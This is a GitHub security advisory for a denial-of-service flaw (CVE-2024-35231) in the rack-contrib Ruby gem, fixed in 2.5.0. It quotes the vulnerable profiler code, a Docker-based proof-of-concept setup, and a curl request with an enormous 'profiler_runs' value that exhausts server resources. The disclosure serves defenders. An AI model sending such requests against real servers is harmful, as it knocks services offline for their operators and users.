GHSA-8c8q-2xw3-j869
rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| RubyGems | rack-contrib | < 2.5.0 | 2.5.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
The next ruby code is vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).
```ruby
runs = (request.params['profiler_runs'] || @times).to_i
result = @profile.profile do
runs.times { @app.call(env) }
end
```
An exploit as such `curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"` may cause resource exhaution by a remotely controlled value.
### PoC
Herein the `config.ru` file:
```ruby
require 'rack'
require 'rack/contrib'
use Rack::Profiler # if ENV['RACK_ENV'] == 'development'
# Define a Rack application
app = lambda do |env|
# Your application logic goes here
[200, {}, ["Hello World"]]
end
# Run the Rack application
run app
```
A Dockerfile:
```Dockerfile
# Use the official Ruby image as a base
FROM ruby:latest
# Set the working directory inside the container
WORKDIR /app
# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .
# Install rack and the gems needed to run the app
RUN bundle install
# Expose the port that rackup will listen on
EXPOSE 9292
# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]
# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1
```
A Gemfile
```
source 'https://rubygems.org'
gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'
```
A Docker compose
```Dockerfile
services:
app:
build:
context: .
ports:
- "9292:9292"
```
To run the PoC
```bash
docker compose up --build
```
To exploit DoS:
```bash
curl "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"
```
### Impact
- Potential denial of service by remotely user-controlled data.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/rack/rack-contrib/security/advisories/GHSA-8c8q-2xw3-j869
- https://nvd.nist.gov/vuln/detail/CVE-2024-35231
- https://github.com/rack/rack-contrib/commit/0eec2a9836329051c6742549e65a94a4c24fe6f7
- https://github.com/rack/rack-contrib
- https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack-contrib/CVE-2024-35231.yml